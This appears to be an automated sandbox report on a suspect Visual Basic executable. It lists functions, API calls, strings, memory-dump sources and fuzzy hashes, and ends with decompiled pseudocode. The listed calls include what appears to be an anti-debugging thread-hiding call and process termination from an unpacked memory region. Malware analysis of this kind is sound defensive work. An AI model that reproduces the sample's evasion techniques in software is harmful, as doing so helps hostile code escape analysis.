
Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

*#, xrefs: 021507D8
P-H, xrefs: 021508FB
S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: P-H$*#$S1
API String ID: 3349790660-3175537923
Opcode ID: f3194581689dd75bab884bb0bfffe513fb44566725d388c5bb402e447dd15e77
Instruction ID: 9d83362d252a0ee67aea3bcc21d84ba7431f83961a01ee3153d771beab0ba5d1
Opcode Fuzzy Hash: f3194581689dd75bab884bb0bfffe513fb44566725d388c5bb402e447dd15e77
Instruction Fuzzy Hash: BB51AF245C0326EDEF382DA44C957FE11A34F59368FA505AADC7ED31C4D73AC4C08A52

Uniqueness

Uniqueness Score: -1.00%

Function 021507C2, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

*#, xrefs: 021507D8
P-H, xrefs: 021508FB
S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: P-H$*#$S1
API String ID: 3349790660-3175537923
Opcode ID: e9b495c09c9231bd0cf234fe2dbdfcf5bf25aa191bda9ae3d37908784648c896
Instruction ID: 315a392d1e426107d42ef5d69232c24ffb583965954ac80d4645f4b5189dcaf7
Opcode Fuzzy Hash: e9b495c09c9231bd0cf234fe2dbdfcf5bf25aa191bda9ae3d37908784648c896
Instruction Fuzzy Hash: 7C519D205C4325DEEF346DA44C957FE11A74F593A8FA405AAEC7DD31C4D73AC8C08A52

Uniqueness

Uniqueness Score: -1.00%

Function 021507FE, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

P-H, xrefs: 021508FB
S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: P-H$S1
API String ID: 3349790660-1581538025
Opcode ID: d67cdcc39f30d8873049792a64af8d19b9cb631ae9ee33f7cc489c18d4864dd6
Instruction ID: 246045f6e3522ffec5f63ef5662e9853ba567149b0bfb76d044c8a3f64f2ccb6
Opcode Fuzzy Hash: d67cdcc39f30d8873049792a64af8d19b9cb631ae9ee33f7cc489c18d4864dd6
Instruction Fuzzy Hash: DD519D205C4365DEEF386D684C917FE22A75F593A8FA4069AEC7DC31C4C73A84C0C612

Uniqueness

Uniqueness Score: -1.00%

Function 02150852, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

P-H, xrefs: 021508FB
S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: P-H$S1
API String ID: 3349790660-1581538025
Opcode ID: b0c0b4e13c959808e9f02eb58abd97987e95e0b7976183b50185f2d349079589
Instruction ID: 46ca2f878353e1aa60a5b689563c990ec62da545c22f33ab4e8b93c7c2640049
Opcode Fuzzy Hash: b0c0b4e13c959808e9f02eb58abd97987e95e0b7976183b50185f2d349079589
Instruction Fuzzy Hash: B041B1209C4366DEEF346D644C557FE22A35F5A3A8FA5029ADC7D831C4D73AC8C08653

Uniqueness

Uniqueness Score: -1.00%

Function 021508CE, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 137COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

P-H, xrefs: 021508FB
S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID: P-H$S1
API String ID: 560597551-1581538025
Opcode ID: 5e60b7aef66c568badfd7cd6264670b16bc408570f875a01d9faa7fb5a8c24a4
Instruction ID: ee3fb80b7c49e48746901fa64c2809b8bd284200ea13c63c3179ed395ac611e4
Opcode Fuzzy Hash: 5e60b7aef66c568badfd7cd6264670b16bc408570f875a01d9faa7fb5a8c24a4
Instruction Fuzzy Hash: BC419D245C4326EDEF382D684C957FE11A34F1A3A8FA5469AEC7D861C4C72A88C48A53

Uniqueness

Uniqueness Score: -1.00%

Function 00401710, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!), ref: 00401715

Strings

VB5!, xrefs: 00401930, 00401710, 0040191C

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!
API String ID: 1341478452-1382286372
Opcode ID: a69b84faa3553140fcbc8986b8225b5826f0aa6f5bca4ebbd9f1afe3b4c85595
Instruction ID: dcbfbc24833536d4fef42d21705ed8cfa83f689b24816b58f117c55f6fd3b731
Opcode Fuzzy Hash: a69b84faa3553140fcbc8986b8225b5826f0aa6f5bca4ebbd9f1afe3b4c85595
Instruction Fuzzy Hash: 4471247244E3D18FD7039B749CA65A27FB0AE1335031E06DBD4C18F1B3E2285A5AD766

Uniqueness

Uniqueness Score: -1.00%

Function 0215098A, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID: S1
API String ID: 0-611949105
Opcode ID: 286caf975726352837a250a4996689727dbb7aa4a1341cfe1f332e8dbbb50cb2
Instruction ID: 585be91859421cc98e4d78b7c9f2e24cd23b6151fe7d49b74c1b018577a66dd2
Opcode Fuzzy Hash: 286caf975726352837a250a4996689727dbb7aa4a1341cfe1f332e8dbbb50cb2
Instruction Fuzzy Hash: 27318C204C4336DEEF386EA848853FA21A35F1D3A8F6502DADC79871D5C73A88C48A53

Uniqueness

Uniqueness Score: -1.00%

Function 02150942, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID: S1
API String ID: 560597551-611949105
Opcode ID: e932648a21377f9e4c00e8d8024087ef9aa5843a224c28d9da59ab603fd8e92b
Instruction ID: 0a7f0e157bcb16102252c466f51ff2967cc453ff64401066c45c5301475a2b40
Opcode Fuzzy Hash: e932648a21377f9e4c00e8d8024087ef9aa5843a224c28d9da59ab603fd8e92b
Instruction Fuzzy Hash: A9316D244C4736DEEF386DA848957FE21A30F1A3A8FA446DADC79861D4C73A84C48A53

Uniqueness

Uniqueness Score: -1.00%

Function 021509FE, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID: S1
API String ID: 0-611949105
Opcode ID: 078eb9146142f541169768b0f978b54cf09787a953306e6504fe2a3d7c269f13
Instruction ID: 1bc4f1abbcd7d74c4074f03896a58b6ac2096d1e9cbb42dc68c391680bff8613
Opcode Fuzzy Hash: 078eb9146142f541169768b0f978b54cf09787a953306e6504fe2a3d7c269f13
Instruction Fuzzy Hash: DA216B3058476BEEEF357E644C817FA21631F1A3A0F6443D9DC79472C5C73B84848A52

Uniqueness

Uniqueness Score: -1.00%

Function 02150A56, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: S1
API String ID: 3349790660-611949105
Opcode ID: 2163c4b59024fc32d900be787d378246ce435f12843a5fd5ca5d739cd7c9de3a
Instruction ID: eb7ee442d037f09fa9ce546d5eca4e42af062acca19d647f4bb78e8b4bda76a6
Opcode Fuzzy Hash: 2163c4b59024fc32d900be787d378246ce435f12843a5fd5ca5d739cd7c9de3a
Instruction Fuzzy Hash: 74118C209C8767FEEF317A684C453F925570F163A4F5483C9DC384A2C1C77B44448652

Uniqueness

Uniqueness Score: -1.00%

Function 02153DBB, Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6441ca9de8a27db98a6cf663ee8bc6679cd5ea895ba9d31f3baab9a9aa31ce95
Instruction ID: 24a47e13a9d66e7de97daa27d995b40d70f7a171f75a35fd15d86a4ce233c0dc
Opcode Fuzzy Hash: 6441ca9de8a27db98a6cf663ee8bc6679cd5ea895ba9d31f3baab9a9aa31ce95
Instruction Fuzzy Hash: D4012864545A9297C310BF38959A7CA7BA0FF066E4B644084ED3A8F247DB25C602CFE3

Uniqueness

Uniqueness Score: -1.00%

Function 02153D3F, Relevance: 1.6, APIs: 1, Instructions: 51libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b93508a4768544198b9fe2dd6f3fbf4f8d70982febb69869288470a7271b8ffb
Instruction ID: 6a29a276cd00eda075b2b810f202b44a37e2d831f8dad70456077d50cee4a981
Opcode Fuzzy Hash: b93508a4768544198b9fe2dd6f3fbf4f8d70982febb69869288470a7271b8ffb
Instruction Fuzzy Hash: C0012BB0680166EDDB303A289890BAE25E6DF543A5FA040EAFC76D7100D732C881C952

Uniqueness

Uniqueness Score: -1.00%

Function 02150AE6, Relevance: 1.5, APIs: 1, Instructions: 28nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567
TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationProcessTerminateThread
String ID:
API String ID: 1477408370-0
Opcode ID: 15a8c2b08b362fbdd00780574e2c53edc91a4330b804f543b3932235b098aef4
Instruction ID: 943c8e6aaa3c4c540af1d4bd1f33e23ffe943bac94bcea2338682ec5687c38f0
Opcode Fuzzy Hash: 15a8c2b08b362fbdd00780574e2c53edc91a4330b804f543b3932235b098aef4
Instruction Fuzzy Hash: B8F0A71144C792AEDB229A288C053B96E521F27764FA883CD98A45A2C6D39F10558397

Uniqueness

Uniqueness Score: -1.00%

Function 02153D92, Relevance: 1.5, APIs: 1, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1f808582c4f161caedc1749751654b72c6dc91942f29840bec97568bb3a70bc7
Instruction ID: 00b0ec3dab889ce79df65b2571b667518576808534ab7ca0beaccb5fd63404f7
Opcode Fuzzy Hash: 1f808582c4f161caedc1749751654b72c6dc91942f29840bec97568bb3a70bc7
Instruction Fuzzy Hash: CBE0D8A098407BEDCA203F6159C07AD21D7CF203D1FF040E5FD76E7105873698C15A92

Uniqueness

Uniqueness Score: -1.00%

Function 021524DB, Relevance: 1.5, APIs: 1, Instructions: 11nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567
TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationProcessTerminateThread
String ID:
API String ID: 1477408370-0
Opcode ID: ab87c447c4bf893688b4934aa01f2585212f06aa7f731059b5563fd28bdec0ca
Instruction ID: a4c6ea599e53ba530f7f8e17d03254983e16327bef391b77c3a7f4680e2f24f3
Opcode Fuzzy Hash: ab87c447c4bf893688b4934aa01f2585212f06aa7f731059b5563fd28bdec0ca
Instruction Fuzzy Hash: 0DC02B2134430A18CF303B589C087D82102074BB34F34C3C0A435143C083D001400202

Uniqueness

Uniqueness Score: -1.00%

Function 021525D0, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,02152562,021525F4,0215056F,?,?,8802EDAC,?,02154530,021503C4), ref: 021525E4

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8C, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5cdf2342454dd5db8adb445028ff6bdacfae6aef71eec3aec8026eafab2ea6e
Instruction ID: bd252d9b913322b58f177ab1b4be7dd4bdaf901895b7bc02c2e61e6f2111b5b9
Opcode Fuzzy Hash: c5cdf2342454dd5db8adb445028ff6bdacfae6aef71eec3aec8026eafab2ea6e
Instruction Fuzzy Hash: E2B012503D8005AAD614C664CE05824A1A092403C03200C33F401E61E0DFFCDF00C2AD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 021548D5, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e5d0023d5123db0c08e71d654e9900dbba1645c3e710e41c62e56bfa39204
Instruction ID: a001668bb0abd0145fb66b49ae0fda4d268ce40fd6a94fc3e4f1a9df0afd90c3
Opcode Fuzzy Hash: 068e5d0023d5123db0c08e71d654e9900dbba1645c3e710e41c62e56bfa39204
Instruction Fuzzy Hash: 8651A374584792CFCB25CF28C894B55BB91AB16320F4983E9DDB64F2E6D3348482CB16

Uniqueness

Uniqueness Score: -1.00%

Function 02151BBE, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2986560631ad204d20ce291632de84dfb465b3326c83eb39394114d442292923
Instruction ID: 1d4c7c29bfa1e7870b547852af8c0c6ec5ad98372e2cd39884fe086c48142a47
Opcode Fuzzy Hash: 2986560631ad204d20ce291632de84dfb465b3326c83eb39394114d442292923
Instruction Fuzzy Hash: BC410070680350EFEB299E24CD58BE873E3BF05390F854288ED755B1E1E7B4D880CA51

Uniqueness

Uniqueness Score: -1.00%

Function 02150EF9, Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a267f09dcc9b089e8db44957c4cbe7502ab984d482fdd792ab6825bb0acc624
Instruction ID: 0e3dc74960df1ed2979f51e1a87b73a318ceeb1353ab92031180cc7b95310fcf
Opcode Fuzzy Hash: 0a267f09dcc9b089e8db44957c4cbe7502ab984d482fdd792ab6825bb0acc624
Instruction Fuzzy Hash: 9B112575A80264BBEB310A158D49FDF2927AF8A7A0F604329FD583A1D0E3A24CD1D528

Uniqueness

Uniqueness Score: -1.00%

Function 02153813, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bab640e649807a3c65c5182715de98232a3578522fe76f7b9edd32ced49fe7c1
Instruction ID: cb0e69cc09b7c782dc84216ea69093d2dcf59d7e02d69d32c6bd657c7d1101ca
Opcode Fuzzy Hash: bab640e649807a3c65c5182715de98232a3578522fe76f7b9edd32ced49fe7c1
Instruction Fuzzy Hash: 4FF0ECA2688325DBEB2D4AA4C8D236667919B272C0F4541E5DE7347301D36C4144C316

Uniqueness

Uniqueness Score: -1.00%

Function 02154124, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d0040191d257b9dc1b9c405d22286594ea254d2158fa2e6abc3b925315a338d
Instruction ID: 6fde1a61b3505d782007a95bbd21816360c350e2fa6681f1e408248164e42115
Opcode Fuzzy Hash: 4d0040191d257b9dc1b9c405d22286594ea254d2158fa2e6abc3b925315a338d
Instruction Fuzzy Hash: 6BE06D35350210DFC308DE28C5D4F1673A5AF68610F8284A4EC12D7621C330FC80CA10

Uniqueness

Uniqueness Score: -1.00%

Function 02152501, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
Instruction ID: a026a310f9d08bb1d858143eb29fddbf5fc3d9bc52f9beb0b7c2352c6f2dcf67
Opcode Fuzzy Hash: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
Instruction Fuzzy Hash: CDB002B66515819FEF56DB08D591B4073A4FB55648B0904D0E412DB712D224E910CA04

Uniqueness

Uniqueness Score: -1.00%

Function 00417B87, Relevance: 77.4, APIs: 42, Strings: 2, Instructions: 394
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00417B87(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				void* _v28;
				short _v32;
				intOrPtr _v36;
				signed int _v40;
				char _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				intOrPtr _v68;
				char _v76;
				intOrPtr _v84;
				char _v92;
				intOrPtr _v100;
				char _v108;
				intOrPtr _v116;
				intOrPtr _v124;
				intOrPtr _v132;
				intOrPtr _v140;
				intOrPtr _v148;
				intOrPtr _v156;
				void* _v176;
				char _v180;
				void* _v184;
				signed int _v188;
				intOrPtr* _v192;
				signed int _v196;
				intOrPtr* _v200;
				signed int _v204;
				intOrPtr* _v208;
				signed int _v212;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				intOrPtr* _v236;
				signed int _v240;
				intOrPtr* _v244;
				signed int _v248;
				intOrPtr* _v252;
				signed int _v256;
				intOrPtr* _v260;
				signed int _v264;
				char _v268;
				signed int _v272;
				intOrPtr* _v276;
				signed int _v280;
				signed int _t174;
				char* _t182;
				signed int _t186;
				short _t187;
				char* _t191;
				signed int _t195;
				char* _t199;
				signed int _t203;
				char* _t207;
				signed int _t211;
				signed int _t227;
				char* _t240;
				signed int _t244;
				intOrPtr _t293;

				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t293;
				_t174 = 0x104;
				L004014D0();
				_v12 = _t293;
				_v8 = 0x4013b8;
				L0040168C();
				_push(0x403640);
				L004015BA();
				_push(_a20);
				_push(0x104);
				L004015C0();
				if(0x104 != 0) {
					if( *0x423010 != 0) {
						_v236 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v236 = 0x423010;
					}
					_t240 =  &_v44;
					L004016B6();
					_v184 = _t240;
					_t244 =  *((intOrPtr*)( *_v184 + 0x1e0))(_v184,  &_v40, _t240,  *((intOrPtr*)( *((intOrPtr*)( *_v236)) + 0x308))( *_v236));
					asm("fclex");
					_v188 = _t244;
					if(_v188 >= 0) {
						_v240 = _v240 & 0x00000000;
					} else {
						_push(0x1e0);
						_push(0x4031c0);
						_push(_v184);
						_push(_v188);
						L004016CE();
						_v240 = _t244;
					}
					_v220 = _v40;
					_v40 = _v40 & 0x00000000;
					_v68 = _v220;
					_v76 = 8;
					_t174 =  &_v76;
					_push(_t174);
					L004015B4();
					L0040169E();
					L004016AA();
				}
				L0040168C();
				_push(2);
				_push(_v36);
				L004015AE();
				L004016E0();
				_push(_t174);
				_push(0x403680);
				L004016E6();
				asm("sbb eax, eax");
				_v184 =  ~( ~( ~_t174));
				L004016D4();
				if(_v184 != 0) {
					if( *0x423010 != 0) {
						_v244 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v244 = 0x423010;
					}
					_t191 =  &_v44;
					L004016B6();
					_v184 = _t191;
					_t195 =  *((intOrPtr*)( *_v184 + 0x238))(_v184,  &_v40, _t191,  *((intOrPtr*)( *((intOrPtr*)( *_v244)) + 0x308))( *_v244));
					asm("fclex");
					_v188 = _t195;
					if(_v188 >= 0) {
						_v248 = _v248 & 0x00000000;
					} else {
						_push(0x238);
						_push(0x4031c0);
						_push(_v184);
						_push(_v188);
						L004016CE();
						_v248 = _t195;
					}
					if( *0x423010 != 0) {
						_v252 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v252 = 0x423010;
					}
					_t199 =  &_v48;
					L004016B6();
					_v192 = _t199;
					_t203 =  *((intOrPtr*)( *_v192 + 0x140))(_v192,  &_v52, _t199,  *((intOrPtr*)( *((intOrPtr*)( *_v252)) + 0x304))( *_v252));
					asm("fclex");
					_v196 = _t203;
					if(_v196 >= 0) {
						_v256 = _v256 & 0x00000000;
					} else {
						_push(0x140);
						_push(0x4031e0);
						_push(_v192);
						_push(_v196);
						L004016CE();
						_v256 = _t203;
					}
					if( *0x423010 != 0) {
						_v260 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v260 = 0x423010;
					}
					_t207 =  &_v56;
					L004016B6();
					_v200 = _t207;
					_t211 =  *((intOrPtr*)( *_v200 + 0x60))(_v200,  &_v180, _t207,  *((intOrPtr*)( *((intOrPtr*)( *_v260)) + 0x304))( *_v260));
					asm("fclex");
					_v204 = _t211;
					if(_v204 >= 0) {
						_v264 = _v264 & 0x00000000;
					} else {
						_push(0x60);
						_push(0x4031e0);
						_push(_v200);
						_push(_v204);
						L004016CE();
						_v264 = _t211;
					}
					if( *0x423420 != 0) {
						_v268 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v268 = 0x423420;
					}
					_t95 =  &_v268; // 0x423420
					_v208 =  *((intOrPtr*)( *_t95));
					_v148 = _v180;
					_v156 = 3;
					_v132 = 0x696bb;
					_v140 = 3;
					_v116 = 0x18;
					_v124 = 2;
					_v224 = _v52;
					_v52 = _v52 & 0x00000000;
					_v84 = _v224;
					_v92 = 9;
					_v228 = _v40;
					_v40 = _v40 & 0x00000000;
					_v68 = _v228;
					_v76 = 8;
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t227 =  *((intOrPtr*)( *_v208 + 0x44))(_v208, 0x10, 0x10, 0x10, 0x10, 0x10,  &_v60);
					asm("fclex");
					_v212 = _t227;
					if(_v212 >= 0) {
						_v272 = _v272 & 0x00000000;
					} else {
						_push(0x44);
						_push(0x40318c);
						_push(_v208);
						_push(_v212);
						L004016CE();
						_v272 = _t227;
					}
					_v232 = _v60;
					_v60 = _v60 & 0x00000000;
					_v100 = _v232;
					_v108 = 9;
					_push(0x10);
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v24);
					L00401656();
					_push( &_v56);
					_push( &_v48);
					_push( &_v44);
					_push(3);
					L004016B0();
					_push( &_v108);
					_push( &_v92);
					_push( &_v76);
					_push(3);
					L0040161A();
				}
				if( *0x423010 != 0) {
					_v276 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v276 = 0x423010;
				}
				_t182 =  &_v44;
				L004016B6();
				_v184 = _t182;
				_t186 =  *((intOrPtr*)( *_v184 + 0x1c8))(_v184,  &_v176, _t182,  *((intOrPtr*)( *((intOrPtr*)( *_v276)) + 0x308))( *_v276));
				asm("fclex");
				_v188 = _t186;
				if(_v188 >= 0) {
					_v280 = _v280 & 0x00000000;
				} else {
					_push(0x1c8);
					_push(0x4031c0);
					_push(_v184);
					_push(_v188);
					L004016CE();
					_v280 = _t186;
				}
				_t187 = _v176;
				_v32 = _t187;
				L0040169E();
				asm("wait");
				_push(0x4181e2);
				L0040169E();
				L004016D4();
				L004016D4();
				return _t187;
			}

0x00417b8c
0x00417b97
0x00417b98
0x00417b9f
0x00417ba4
0x00417bac
0x00417baf
0x00417bbc
0x00417bc1
0x00417bc6
0x00417bcb
0x00417bcc
0x00417bd3
